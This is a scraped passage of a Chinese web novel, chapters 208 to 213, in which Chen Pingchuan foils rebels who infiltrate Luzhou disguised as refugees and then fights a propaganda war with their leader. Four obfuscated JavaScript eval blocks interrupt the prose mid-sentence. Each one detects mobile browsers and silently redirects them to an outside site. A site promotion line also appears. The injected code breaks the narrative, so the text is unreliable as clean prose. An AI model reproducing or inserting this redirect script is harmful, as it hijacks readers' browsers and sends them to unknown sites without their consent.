城中,忽然响起了急促而沉闷的钟声! 这是……警钟! 张若素心中一惊,连忙起身,披上外衣,推门而出。 只见陈平川不知何时已经站在院子里,脸色凝重地站在院子中央。 罗氏和陈仲和,也都披着衣服,紧张地走出来。 “平川,出什么事了?”罗氏紧张地问道。 陈平川的目光,望向城墙的方向,声音低沉。 “来了。” “什么来了?” “天公道……他们已经到了城外。” 罗氏和陈仲和的脸,瞬间变得惨白。 天公道的事情已经传开了,庐州府的百姓都知道这伙**不眨眼要攻打这里,心里充满恐惧。 陈平川转过身,对父母说道:“爹,娘,你们别怕。你们把门窗锁好,谁来也别开门,安心待在家里。” 说完,他向张若素投去一个放心的眼神,便毅然决然地,转身向院外走去。 第208章 演戏就要演全套! 庐州城南门。 城楼之上,灯火通明,气氛紧张到了极点。 城墙垛口边,站满了手持长矛,神色紧张的士兵。 他们探着头,看着城下黑压压的一片,心惊胆战。 只见城门之外,**了成千上万的“难民”。 他们衣衫褴褛,面黄肌瘦,扶老携幼,哀求声,哭喊声震天动地,像是潮水,像是奔雷。 仿佛有成千上万的冤魂,在城外嘶吼。 “官爷,行行好吧,开开城门吧!” “我们都是良善百姓,家乡遭了兵灾,实在活不下去了啊!” “求求你们了,给我们一条活路吧!” …… 难民压境! “指挥使大人,你看这……”一名年轻的士兵,看着城下的惨状,有些于心不忍,“要不,就开门让他们进来吧?都是些手无寸铁的百姓,怪可怜的。” “是啊大人,再不开门,恐怕就要**了。” 不少士兵都动了恻隐之心。 指挥使李威也是眉头紧锁,心中犹豫不决。 按理说,收容难民,是应有之义。 可……这数量也太多了! 而且,来得也太巧了! 就在他犹豫不决的时候,一个冰冷的声音,从他身后传来。 “谁敢开门,斩!” 李威回头一看,只见陈平川不知何时,已经登上了城楼。 “陈……陈帅!”李威连忙行礼。 这几天,陈平川在军中的威望,已经建立起来了,真正做到了令行禁止。 “都给我看清楚了!” 陈平川没有理会他,而是径直走到城墙边,指着城下的难民潮,厉声喝道。 “他们,真的是难民吗?” 士兵们都是一愣,不明所以。 陈平川从亲兵手中,接过一个黄铜打造的,造型奇特的圆筒。 这是秦王特意送来的“千里镜”,是西洋传来的稀罕玩意儿,整个庐州府,也只有这么一个。 陈平川举起千里镜,仔细地,朝着城下的人群观察起来。 片刻之后,他的嘴角,勾起了一抹冰冷的弧度。 “李威。” “末将在!” “你来看。” 陈平川将千里镜递给了李威。 李威疑惑地接过来,学着陈平川的样子,朝城下看去。 这一看,他的脸色,瞬间就变了! 在千里镜那清晰的视野中,他看到了许多被普通士兵忽略的细节。 他看到,那些所谓的“难民”之中,青壮年男子的比例,高得有些出奇! 他看到,那些男人虽然个个面带悲苦,衣衫破烂,但他们的眼神深处,却丝毫没有流离失所的绝望和麻木,反而,隐隐透着一股狼一般的凶光! 最关键的是! 他清楚地看到,在人群的后方,有几个看似不起眼的“难民”,正在分发着什么东西。 虽然很隐蔽,但依稀可以看到是武器! “这……这是……” 李威的后背,瞬间就被冷汗浸湿了! 他终于明白,陈平川为什么不让开门了。 下面这些是难民不假,可是里面却混入了饿狼! 天公道想利用这些难民,骗开城门,然后趁机发难,一举拿下庐州城! 好歹毒的计策! “现在,你还觉得,他们可怜吗?”陈平川冷冷地问道。 “末将……末将该死!”李威“扑通”一声,单膝跪地,满脸的羞愧和后怕。 如果不是陈帅及时赶到,他差点就成了庐州城的千古罪人! 城楼上的其他士兵,听到两人的对话,也是个个惊出了一身冷汗,再看城下的“难民”时,眼神已经完全变了。 “传我命令!” 陈平川的声音,在寂静的城楼上,显得格外清晰。 “第一,城门紧闭,任何人不得打开!” “第二,在城外,搭建粥棚,派人出去,赈济灾民!” “什么?!” 李威猛地抬起头,一脸的不可思议。 “陈帅,这……既然他们是奸细,为何还要……” “演戏,就要演全套。” 陈平川的脸上,露出了一丝腹黑的笑容。 “他们不是想装可怜,骗我们开门吗?” “那我们就顺着他们的意思来。给他们吃的东西,让他们饿不死。” “然后,再以‘防止城中发生疫病’为由,宣布所有难民,必须经过分批检疫之后,才能入城。” “本帅倒要看看,他们这出戏,打算怎么唱下去!” 将计就计! 李威瞬间就明白了陈平川的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046768|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图。 高! 实在是高! 这不仅能稳住城外的难民,让他们保住命,不再冲击城门,还能破坏天公道的阴谋,可谓一举两得。 “末将,这就去办!”李威领命,匆匆下去了。 很快,几名士兵用绳子吊着篮子,缒下城墙。 他们对着城下的难民,大声地安抚着,并且宣布了陈平川的命令。 城下,难民潮中。 一个身材干瘦,眼神阴鸷的中年男人,听完城上的喊话,冷哼一声。 他是天公道此次派来的,潜入庐州府的先锋营头目——魏通。 “头儿,这庐州城的守将心真狠,居然没开门!”旁边一个亲信,低声道。 魏通点点头,眼神中闪过一丝凝重,“这个守将,很聪明,也很谨慎。” “他没有直接开门,而是选择在城外施粥,既安抚了难民,又没有将危险放进城里。这一招,很高明。” “那我们怎么办?” “哼,按原计划行事!” 魏通的眼中,闪过一丝得意。 “只要他敢把人放进城,我们的人就可以混在难民里,一批批进城,到时候,四处放火,制造混乱。他城防布置得再好,也挡不住我们里应外合!” “等城门一开,大军涌入,这庐州城,就是我们的囊中之物!” 他看着高大坚固的庐州城墙,仿佛已经看到了城破之后,血流成河,哀嚎遍野的景象。 他喜欢这种感觉。 他喜欢看着那些高高在上的官老爷们,跪在他面前,摇尾乞怜。 他喜欢看着那些富商大贾,在绝望中,被砍下头颅。 他要让这座繁华的城池,变成一座地狱! 然而,他并不知道。 一张无形的大网,已经悄然张开。 而他正一步一步地朝着网的中央,走过去。 …… 按照陈平川的命令,城外的粥棚很快就搭建了起来。 热气腾腾的米粥,安抚了大部分真正难民的情绪。 而天公道混在其中的奸细们,也在魏通的指挥下,开始分批接受所谓的“检疫”,然后跟着难民混进了城内。 他们被安置在城南一处专门划出来的,由军队严密看管的难民营里。 魏通,也在这一批人当中。 第209章 富贵险中求?黄泉路上走! 进入城内,看着街道两旁鳞次栉比的商铺,和来来往往,衣着光鲜的百姓,魏通的眼中,闪烁着贪婪和嫉妒的火焰。 凭什么! 凭什么这些人,可以过着如此富足安稳的生活! 而他的家人,他的父母妻儿,却要活活饿死在逃荒的路上! 这不公平! 天公将军说得对,这个世道,早就烂透了! 必须用鲜血和烈火,来洗刷这一切! 建立一个,人人平等,再也没有压迫和饥饿的“天国”! 他压下心中的杀意,装出一副老实巴交的样子,跟着其他人,走进了难民营。 一进入难民营,立刻就有官员,给他们分发了身份牌和御寒的衣物,并且再三叮嘱,为了城中百姓的安全,在得到上头允许之前,他们不能离开难民营。 魏通表面上感恩戴德,连连称谢,心里却在冷笑。 不让离开? 真是天真! 区区几道木栅栏,和几十个昏昏欲睡的守卫,能拦得住他的人? 他已经和手下约定好了,等到三更天,人最困乏的时候,就分头行动。 在城中四处放火,制造混乱! 只要火光一起,他就有把握,能趁打开城门! 然而,他很快就发现,事情,似乎和他想象的,不太一样。 夜幕降临,整个庐州城,都发生了一些微妙的变化。 首先,是“宵禁令”。 戌时一到,街上便响起了梆子声。 “天干物燥,小心火烛——” “宵禁开始,闲人避退——” 紧接着,一队队由民壮组成的巡逻队,手持棍棒,举着火把,开始在各个街巷之间,来回巡逻。 他们盘查得异常严格。 任何没有官方发放的“夜行令牌”,而在街上走动的人,都会被立刻拿下,关押起来。 魏通派出去探路的两个手下,刚翻出难民营的栅栏,还没走出去两条街,就被巡逻队给逮了个正着。 其次,是“联防保甲”。 陈平川下令,城中每十户为一甲,五甲为一保。 每家每户,夜间都必须在门口,挂上一盏灯笼。 各家各户,轮流派出人手,与民壮一起,进行交叉巡逻。 一旦发现任何可疑人员,或者陌生的面孔,立刻敲锣示警! 一时间,整个庐州城,在夜色中,变得灯火通明,守卫森严。 大街小巷,到处都是巡逻队的影子。 到处都是警惕的眼睛。 这让那些想在黑夜浑水摸鱼的天公道奸细们,感觉自己像是掉进了蜘蛛网里的苍蝇,处处受制,寸步难行! “头儿,怎么办?根本出不去啊!” “是啊头儿,这庐州城的防卫,也太邪门了!跟我们之前攻下的那些县城,完全不一样!” 几个侥幸逃回来的手下,围在魏通身边,个个都是一脸的惊慌和沮丧。 他们的计划,还没开始,就已经失败了。 魏通的脸色,阴沉得如同暴风雨前的乌云。 他失算了。 他没想到,这个庐州城的守将,竟然如此谨慎,如此滴水不漏! 这种全民皆兵,联防互保的法子,他简直是闻所未闻! 这完全打乱了他的部署。 “慌什么!” 魏通低声喝道,强行让自己冷静下来。 “既然小打小闹不行,那我们就干一票大的!” 他的眼中,闪过一丝狠厉。 “今晚,所有人,跟我一起行动!” “目标——城西的粮仓!” “那里,是全城的命脉所在!只要我们烧了粮仓,庐州城,必然大乱!” “到时候,城外的兄弟们,就能趁势攻城!” 这是一个疯狂的计划。 也是他们最后的机会。 “可是头儿,粮仓那种地方,守卫肯定更加森严啊!”一个手下担忧地说道。 “怕什么!”魏通冷哼一声,“富贵险中求!守卫再森严,也总有漏洞!” “我亲自带队,你们跟紧了!” 他自幼习武,潜行匿踪的本事,更是一绝。 而且,烧粮仓这种事他干过好几次,轻车熟路。 他不信,凭他的本事,还拿不下一个小小的粮仓! 三更时分,正是人困马乏的时候。 魏通带着手下二十几个人,如同鬼魅一般,悄无声息地,潜出了难民营。 他们避开了几队巡逻的民壮,在黑暗中潜行。 一路上,虽然有几次险些被发现,但有惊无险地化解了。 很快,城西大营那高大的围墙,就出现在了眼前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051310|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “头儿,就是那里!” 魏通点了点头。 他观察了一下,发现大营的守卫,果然比外面森严了数倍。 几乎是三步一岗,五步一哨。 但是,他还是敏锐地,发现了一处防守的死角。 “跟我来!” 他低喝一声,身形如同一只壁虎,悄无声息地,贴着墙角的阴影,朝着那处死角摸了过去。 一切,都进行得异常顺利。 他们成功地,翻进了大营! 魏通的心中,一阵狂喜。 看来,这守将也不过如此嘛! 百密一疏! 他打了个手势,带着手下,朝着大营深处的粮仓,潜行而去。 越往里走,他心里的疑惑,就越重。 **静了。 安静得有些出奇。 尤其是粮仓的周围,竟然连一个巡逻的士兵都没有! 仿佛,这就是一座不设防的空城! 事出反常必有妖! 魏通的心中,警铃大作! 他猛地停下脚步,刚想下令撤退。 然而,已经晚了。 “梆——!” 一声清脆的梆子声,在寂静的夜空中,骤然响起! 紧接着。 “唰!唰!唰!” 四面八方,瞬间亮起了无数的火把! 将整个粮仓区域,照得如同白昼! 只见周围的屋顶上,墙角后,不知何时,已经站满了手持**的士兵! 黑压压的,至少有数百人! 无数支闪着寒光的箭头,已经对准了他们! 埋伏! 中计了! 魏通的脑子里,“嗡”的一声,一片空白! “不好!是陷阱!快撤!” 魏通发出一声凄厉的嘶吼! 他想也不想,转身就想朝着来路突围! 然而,他刚一动,头顶便落下一张大网! 那大网不知是用什么编织而成,坚韧无比,上面还坠着一个个沉重的铁球。 网口迅速收紧,将他们几十号人兜头罩住,狠狠地压在地上。 众人拼命挣扎,想用刀去割,却发现毫无用处。 而他们越是扭动,大网就缠得越紧,这支天公道的精锐小队,在短短的一瞬间,就彻底丧失了战斗力。 火光中,一个年轻身影,缓缓从暗处走了出来。 第210章 你的理想,就是狗屁! 陈平川看着在网里挣扎的魏通等人,眼神冰冷。 “把人都给我绑了!” “是!” 士兵们一拥而上,用浸了水的麻绳,将这些奸细捆得结结实实,像是一串粽子。 过程中有人反抗,被用木棒狠狠敲晕。 魏通被两个士兵,从网里粗暴地拖了出来。 他疯狂地嘶吼着。 “有本事,跟老子真刀**地干一场!用这种下三滥的手段,算什么英雄好汉!” 陈平川走到他的面前,蹲下身子,用轻蔑的语气说道: “对付你们这种不人不鬼的畜生,用什么手段,都不过分。” “你是谁?庐州城的守将?”魏通嘶吼道。 “是。”陈平川没有否认。 “我魏通做鬼也不会放过你的!天公将军,一定会为我报仇的!”魏通的声音里,充满了怨毒和疯狂。 陈平川笑了。 “你的天公将军会不会为你报仇,我不知道,但我知道,他很快就会下去陪你!” 说完,他站起身,对着旁边的李威下令。 “天亮之后,将这些奸细,全部押到城楼上!” “我要当着全城百姓,和城外数万贼寇的面,来一场公开的审判!” …… 第二天,天刚蒙蒙亮。 庐州城的南城门,已经变得人山人海。 城楼之上,魏通和他的几十名手下,以及之前被抓的那些奸细,全都被五花大绑,跪成一排。 一个个灰头土脸,狼狈不堪。 城楼之下,是闻讯赶来的庐州百姓。 他们看着城楼上的那些奸细,一个个都是义愤填膺,指指点点。 “就是这些畜生!想混进城里来害我们!” “烧死他们!烧死他们!” 粥棚附近的难民们,也被这阵仗惊动了。 他们伸长了脖子,望着城楼上的情景,同样是议论纷纷。 “天哪,那不是跟我们一起排队领粥的大兄弟吗?”一个妇人惊呼道。“原来他们是天公道的奸细!亏我还觉得他们人不错!” “幸好他们被抓住了,不然我们这些真心逃难的,岂不是要被他们害死?” 一时间,真正的难民们对这些奸细充满了后怕与憎恶。 人群中,一个身穿破烂灰色道袍,面容俊朗却带着一丝阴鸷的青年抬起头,冷眼望着城头,视线锁在了一身甲胄,手按佩刀的陈平川身上。 “城外的天公道兄弟们,都看清楚了!” “你们派进城里的奸细,已经被我全部抓获!” “现在,我就当着你们的面,揭穿天公道的骗局!” 陈平川的声音,借助几个临时制作的,类似喇叭一样的铁皮筒,清晰地传遍了整个战场。 他一指跪在地上的魏通。 “魏通,你可知罪?!” 魏通虽然被俘,但气焰依旧嚣张。 他疯狂地大笑起来。 “哈哈哈哈!罪?我何罪之有!” “我等追随天公将军,是为了推翻你们这**的朝廷!是为了建立一个人人平等,人人有饭吃的天国!” “为了这个伟大的理想,就算牺牲再多的人,也是值得的!” “要杀要剐,悉听尊便!十八年后,老子又是一条好汉!” “天公将军,会为我们报仇的!天国,必将降临!” 他的一番话,说得是慷慨激昂,充满了狂热的信仰。 旁边几个同伙,也响起了一阵阵的附和声。 “天国降临!” “天公将军万岁!” 城楼上的百姓们,则是一脸的愤怒和不解,认为他们都是疯子。 陈平川看着这些人,脸上露出了一丝讥讽的笑容。 “理想?天国?” 他摇了摇头,声音里,充满了不屑和怜悯。 “真是可悲啊。” “被人卖了,还替人数钱。” “你所谓的理想,不过是别人用来骗你们送死的谎言罢了!” “你放屁!”魏通怒吼道,“你休想动摇我的信念!天公将军,是拯救万民的活菩萨!” “是吗?” 陈平川脸上的笑容,更冷了。 “来人!”他拍了拍手,“把从他身上搜出来的东西,念给我们的‘天国勇士’听听,也念给城外等着进天国的兄弟们听听!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053955|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一名士兵走上前,展开一张纸卷,大声念道:“自魏通身上,搜出密信一封,言明‘事成之后,庐州府库任尔取之’!” 此言一出,全场哗然。 魏通的脸色瞬间涨得通红,他身上根本就没有什么密信。 “这……这是污蔑!是你们栽赃!” “栽赃?”陈平川冷笑一声,俯视着城外的天公道大军,“你们的活菩萨,许诺你们人人平等,却让你们的头目进城发财! 许诺你们人人有饭吃,却让你们在前面用命冲击城门,他自己却躲在后方,等着坐享其成!” 他顿了顿,声音拔高:“你们再看看城下的难民!他们因战乱而流离失所,我们在给他们施粥活命!而你们所谓的天公将军,却利用他们的苦难,将你们这些炮灰派来送死!告诉我,谁才是真正的活菩萨?!” 陈平川的话,如惊雷般在城外炸响。 不少天公道信徒露出了迷茫和动摇的神色。 魏通浑身颤抖,还在声嘶力竭地为自己辩解:“那是你们的阴谋!是为了离间我们兄弟!大家不要相信……” 陈平川根本不给他机会,连珠炮般将他后面的话怼了回去。 “我说的是事实!你们许诺一个所谓的人人平等的天国,可实际上呢?你们这些头目可以分金银田地,而下面的信徒和百姓只能分赴黄泉!你们许诺人人有饭吃,但前提是,要用信徒们的尸体,去填平护城河!这叫什么天国?这叫什么理想?我看是狗屁!” “不要再喊你的理想了!我看你的理想,就是跟着你的天公将军,一边哄骗着身边的兄弟去送死,一边盘算着事成之后自己能分多少金银财宝吧!” 魏通挣扎着起来,大吼道:“不……不是……” 突然,一支箭射来! 李威眼疾手快,一下子将陈平川扑倒,避开了射来的暗箭。 陈平川抬头看去,只见魏通的喉咙已经被箭射穿,眼睛瞪得滚圆,脸上满是震惊与不解,他死死地盯着城外天公道大军的方向,嘴巴无声地张合着,似乎想问一句‘为什么’,最终无力地垂下了头,彻底断了气。 第211章 崇拜与嫉妒,偶像与死敌! 城楼之上,死寂无声。 所有人的目光都汇聚在那支贯穿了魏通喉咙的箭矢上,箭羽兀自颤动,一串血珠滴落在冰冷的城砖上。 李威一把将陈平川拽到女墙之后,紧张地问道:“陈大人你没事吧!” 陈平川冷静地点点头,他从城垛后探出头,看着城外的难民,寻找凶手。 他知道,这一箭不是为了射杀自己,而是为了**灭口。 同时,也是为了……立威! 城下,破烂道袍的青年对旁边的收起弓箭的中年男子,满意点点头:“射的好!” 此人正是“天公将军”——贾青。 “走,趁他们发现我们之前。” 贾青带着几名同样伪装成难民的护卫,钻入人群,向着远处的山林走去。 那片山林之后,便是天公道大军的驻扎之地。 返回主帅营帐,贾青换好衣服,轻轻挥动手里的羽扇。 “传令下去:魏通,身为先锋,贪生怕死,谋取私利,出卖教中兄弟,背叛天公信仰,意图投降朝廷鹰犬。” “此等叛徒,人人得而诛之。” “本将军已将其处决,以儆效尤!” 声音通过传令兵,一层层地传递下去,很快便响彻整个军阵。 所有天公道教众眼中带着狂热的崇拜,在他们看来,天公将军是公正的,是无情的,更是神圣的。 他绝不容许任何形式的背叛! 一名亲信快步上前,低声道:“将军,查到了,刚刚城楼上那个发号施令之人,正是陈平川。” “陈平川?” 贾青的瞳孔猛地一缩,脸上露出一丝复杂难明的神情。 他缓缓从怀中掏出一本已经有些卷边的书册,书页上赫然写着三个大字——《安民论》。 “原来是你啊……” 贾青轻轻摩挲着书页,仿佛在触摸一件稀世珍宝,又仿佛在抚摸自己的宿敌。 他的思绪,不由得回到了数年前的京城。 那时的他,还只是一个满怀抱负、却屡试不第的穷酸秀才。 他亲眼看着陈平川连中三元,高中状元,打马游街,风光无两。 那一日,万人空巷,陈平川的身影在无数艳羡的目光中,是那么的刺眼。 嫉妒的毒蛇,在那一刻,便已盘踞在他的心头。 后来,陈平川的《安民论》横空出世,轰动天下。 贾青躲在旅店阴暗的客房里,一遍又一遍地研读。 他被书中描绘的理想世界和深刻见解彻底震撼了。 他发现,原来陈平川的才华,远不止于诗词歌赋,让他望尘莫及。 他敬佩,甚至崇拜。 可越是崇拜,那份嫉妒就越是疯狂。 凭什么这样经天纬地的才华,是属于他陈平川的! 而自己,却要在这泥潭里苦苦挣扎? 直到他返回灾祸连连的家乡,看到那些流离失所、易子而食的百姓,看到他们眼中那种绝望到麻木的火焰。 刹那间! 一个疯狂的念头,就此诞生。 陈平川,你能写,我能做! 你既然要做那普度众生的圣贤,那我,就做那开天辟地的神! 他将《安民论》断章取义,自封“天公将军”,竖起“等贵贱,均贫富”的大旗。 无数活不下去的百姓,如同飞蛾扑火般汇聚到他的麾下。 他的野心,也在这数十万人的狂热拥戴中,膨胀到了极致。 他要的,从来不是什么人人平等的“天公王朝”,而是那至高无上的九五之尊! 是陈平川的《安民论》,为他打开一扇通往权力巅峰的大门。 而现在,他崛起的“引路人”,他心中的“偶像”,陈平川,就站在他对面的城楼上。 “能写出此等经世之文,又能布下如此**诛心的毒计……” 贾青喃喃自语,眼中闪烁着既欣赏又忌惮的寒光。 “陈平川啊陈平川,你到底是救世的圣贤,还是乱世的妖孽?” 他笑了。 不管是圣贤还是妖孽,只要挡了他的路,就必须被碾得粉碎! …… 李威命人将魏通的尸体处理掉,陈平川还在寻找凶手,但可惜人太多了,无从追查,此事只能暂且作罢。 一夜过去,第二天一早,陈平川便接到急报,他立刻登上城楼,举目望去,只见城外那些真正的难民已经消失不见,取而代之的,是黑压压一片的天公道信徒。 只见这些衣衫褴褛的教众,扛着锄头、铁锹,推着独轮车,开始在庐州城外数里远的地方,热火朝天地忙碌起来。 他们在挖土。 将挖出来的泥土,混合着碎石和杂草,堆砌成一道高墙。 这道土墙,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053956|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南门外一直延伸,绕着庐州城,形成了一个巨大的包围圈。 城楼上的李威看得目瞪口呆。 “陈大人,这……这帮反贼是在做什么?” “他们在围城。”陈平川的声音很冷。 “围城?”李威不解,“他们不攻城了?” “攻城,死伤太大。”陈平川摇了摇头,“看来贾青是个聪明人,他知道庐州城墙高水深,强攻之下,就算能打下来,他的数万大军也要折损大半。” “所以,他选择了最稳妥,也是最歹毒的办法。” 陈平川指着那道正在以肉眼可见速度增高的土墙。 “他要掘土为墙,将庐州城彻底围死,断绝我们与外界的一切联系。” “他要把这座城,变成一座活**墓!” 李威倒吸一口凉气,只觉得一股寒意从脚底板直冲天灵盖。 “这……这得耗费多少人力?” “他最不缺的,就是人。”陈平川的语气里带着浓重的讥讽。 那些被他煽动的百姓,此刻都成了他手中最好用的工具。 守城兵力有限,主动出击无异于以卵击石,而对方又在弓箭的射程之外,所有人只能眼睁睁地看着城外的包围圈一点点合拢。 一种无形的压力,开始在每个人的心头蔓延。 几天后,土墙彻底合拢。 庐州城,成了一座孤岛。 城内的恐慌,比瘟疫蔓延得更快。 最先出现问题的,是粮食。 “没米了!城南的王记米铺关门了!” “什么?昨天不还开着吗?我今天特意起了个大早来排队!” “开什么玩笑!我昨天亲眼看见他家还有好几百袋米呢!” “肯定是老板看要打仗,把米都藏起来了!想发国难财!” 流言蜚语四起,粮价一日三涨。 恐慌的百姓开始疯狂抢购、囤积一切能吃的东西。 城中最大的米粮店外,上千人挤作一团,为了抢购一袋米,邻里反目,好友成仇。 “你凭什么插队!” “老子排了两个时辰了,你敢推我?!” “打他!这**的!” 叫骂声、哭喊声、殴打声混杂在一起,场面一度失控。 街头巷尾,为了食物大打出手的场景,屡见不鲜。 曾经安宁祥和的庐州府,乱象初现。 第212章 全城声讨!人设崩塌? 秦王府。 听着下人汇报城中的乱象,秦王愁眉不展,重重地叹了口气。 “平川,这样下去不是办法啊。” 陈平川面色凝重,望着地图一言不发。 他知道,这正是贾青想要看到的。 围城只是第一步,攻心才是贾青的最终目的。 他要让城内的秩序,自己从内部崩溃。 就在这时,一名王府侍卫匆匆来报。 “王爷,陈大人,城外射进来了好多纸单!” 陈平川与秦王对视一眼,立刻接过来查看。 陈平川瞳孔猛地一缩。 那是一篇洋洋洒洒的檄文。 抬头赫然写着——《讨逆贼陈平川告庐州军民书》。 檄文的内容极其歹毒,通篇都在曲解陈平川的《安民论》。 说他陈平川,早已背弃了当初“为生民立命”的理想,成了彻头彻尾的“皇权鹰犬”、“贵族走狗”。 檄文里写道:“昔日陈平川,着《安民论》,言辞凿凿,声称为民。然今时今日,其人何在?在秦王府内,与皇亲国戚推杯换盏,同流合污!” “昔日陈平川,言天下财富,当归于民。然今时今日,其所行何事?助秦王盘剥,与奸商为伍,视我等教众为草芥,视城中百姓为刍狗!” 更有甚者,檄文还散布谣言,说陈平川之所以死守庐州,根本不是为了保护百姓。 而是要牺牲全城军民的性命,拖延时间,好让他自己暗中转移家产,搜刮民脂民膏,然后从密道偷偷逃跑,最后成全他个人的忠臣名声! 文章最后,极具煽动性地号召城内的百姓和军队,陈平川仿佛听到贾青的声音: “城中将士、父老乡亲们!睁开你们的眼睛看看吧!天公将军才是你们的救星!他将带领我们打破这吃人的世道,建立一个人人平等的天国!” “而陈平川,才是你们真正的敌人!” “杀掉陈平川,打开城门,迎接天公将军!迎接属于我们自己的世界!” …… 秦王将一张檄文重重地拍在桌上,脸色铁青。 “混账东西!贾青这个反贼,玩弄笔杆子倒是有一套!这是想把我们都架在火上烤啊!” “现在,纸单已经满城都是,想收缴已经来不及,城里看到这东西的文人百姓肯定要闹事的!” 他的猜测没错,檄文带来的影响,已经在庐州城内发酵。 最先受到冲击的,是城中的读书人。 他们中的许多人,都曾是陈平川最坚定的拥护者,甚至将《安民论》抄录背诵,视为毕生追求的理想。 可这篇檄文,如同一根尖刺,深深扎进了他们的心里。 城南的一家茶馆里,几个年轻的秀才围坐一桌,气氛凝重。 “这……这上面说的,到底是不是真的?”一个秀才脸色发白,喃喃自语。 “陈大人真的和秦王搅合在一起?秦王再贤明,那也是皇室宗亲,是压在我们头上的贵族啊!” “是啊,《安民论》的核心,就是要限制君权,还政于民。可他现在,却听命于秦王,这……这和他的主张,背道而驰啊!”另一个秀才痛心疾首地说道。 “可是陈大人前日才在城楼上揭穿了天公道的骗局,还为我们守住了庐州城……”有人试图辩解,但声音却显得有些底气不足。 “守住庐州城?”一个面容倨傲的秀才冷笑一声,“守住的是谁的庐州城?是我们的,还是秦王的?他陈平川如今是庐州防务总指挥,大权在握,我看他已经沉醉在权力的滋味里,早就忘了自己姓什么了!” “王兄,慎言!陈大人不是那样的人!” “哼,是不是,事实胜于雄辩!他若真有风骨,就该与秦王划清界限,而不是做他的马前卒!” 争吵声此起彼伏,昔日对陈平川的崇拜,如今变成了怀疑、困惑,甚至是失望。 这股风波,很快也传到了陈平川的家中。 罗氏拿着一张不知谁塞进门缝的檄文,急得在院子里团团转。 “这……这杀千刀的写的什么东西!这不是往我儿身上泼脏水吗!” 她不识字,起初也没当回事,直到陈平玉把里面的内容讲给她听,她这才反应过来。 罗氏气得浑身发抖,“什么叫朝廷走狗?我儿子是为了保卫庐州城的老百姓!” 陈仲和在一旁唉声叹气,也是一脸愁容。 “当家的,你快想想办法啊!这要是传出去,平川的名声可就毁了!”罗氏抓着丈夫的胳膊,急切地说道。 “我……我能有什么办法?”陈仲和愁眉苦脸。 里屋,张若素和张静姝也听到了外面的动静。 张静姝第一个冲了出来,从罗氏手里抢过檄文,快速扫了一眼,小脸瞬间气得通红。 “放屁!这纯属放屁!写这东西的人,心都烂了!平川哥哥才不是这样的人!”她气得直接将纸单撕烂。 张若素也走了出来,捡起檄文,拼接起来,仔仔细细地看了一遍,秀眉紧紧蹙起。 她的心中,比任何人都担忧。 因为她最懂陈平川的理想和抱负。 这篇檄文,打的不是陈平川的官位,不是他的兵权,而是他的道心,他的根基。 这是诛心之计! “若素姑娘,这……这可怎么办啊?”罗氏看到张若素,像是找到了主心骨。 毕竟,张若素是这屋里最有学识的人。 张若素沉吟片刻,轻声道:“伯母,您别急。这檄文看似言辞凿凿,实则漏洞百出,不过是想动摇人心罢了。我相信平川,他一定有办法应对的。” 她的话传递出安抚人心的力量,罗氏和张静姝的情绪,都稍微平复了一些。 然而,城中的风暴却愈演愈烈。 一些本就因缺粮而恐慌的百姓,被这篇檄文彻底点燃了怒火。 他们开始聚集起来,冲击府衙,包围秦王府。 “陈平川滚出来!” “还我们粮食!” “打开城门!我们不要给你陪葬!” 听着外面传来的声音,秦王焦急得来回踱步,看向一旁气定神闲、还在慢悠悠喝茶的陈平川,没好气地说道:“你小子心可真大!火都烧到眉毛了,你还有心思喝茶?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第213章 隔空对线,全城直播! 陈平川放下茶杯,拿起那张檄文,又看了一遍,脸上非但没有怒气,反而露出了一丝笑意。 “王爷,您不觉得,这贾青……还挺可爱的吗?” “可爱?”秦王差点一口老血喷出来,“他煽动城里百姓杀你,你还觉得他可爱?” 陈平川笑道,“这说明我们前天的反击打疼他了,他已经黔驴技穷,只能用这种下三滥的手段,我管这叫无能狂怒。” 秦王愣了一下,随即品出点味道来:“你的意思是……” 